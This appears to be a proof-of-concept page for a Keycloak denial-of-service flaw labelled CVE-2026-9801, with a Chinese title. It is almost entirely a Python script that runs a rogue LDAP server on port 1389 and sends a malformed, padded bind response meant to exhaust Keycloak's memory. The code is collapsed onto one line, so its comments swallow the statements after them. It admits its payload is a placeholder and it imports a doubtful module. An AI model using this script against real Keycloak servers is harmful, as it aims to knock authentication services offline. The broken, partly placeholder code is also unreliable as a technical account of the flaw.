CVE-2026-9801 Keycloak 拒绝服务漏洞

import socket from ldap3 import Server, Connection, ALL, SUBTREE from ldap3.protocol.ldap import LDAPMessage # Conceptual PoC for CVE-2026-9801 # This script demonstrates how a malicious LDAP server might be structured # to send a malformed password policy response to trigger OOM in Keycloak. # Note: Running this requires a setup where Keycloak connects to this listener. def malicious_ldap_handler(): # Simulate a basic LDAP server listener server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 1389)) server_socket.listen(1) print("[+] Malicious LDAP server listening on port 1389...") conn, addr = server_socket.accept() print(f"[+] Connection from {addr}") # 1. Receive LDAP Bind Request data = conn.recv(1024) # 2. Send malformed LDAP Password Policy Response # Constructing a payload that triggers the parsing flaw (Example) # The specific byte sequence depends on the exact parsing flaw in Keycloak, # often involving a malformed ASN.1 length or control value. # This is a placeholder for the actual malformed packet structure # which would typically involve a controls sequence with invalid length. malformed_response = b"\x30\x82\x01\x00\x02\x01\x01\x61\x82\x00\xfa" + b"A" * 1000 try: conn.send(malformed_response) print("[+] Malformed response sent. Check Keycloak logs for OutOfMemoryError.") except Exception as e: print(f"Error: {e}") finally: conn.close() if __name__ == "__main__": # This PoC requires Keycloak to be configured to use this server as its LDAP backend # and a user attempts to authenticate. # malicious_ldap_handler() pass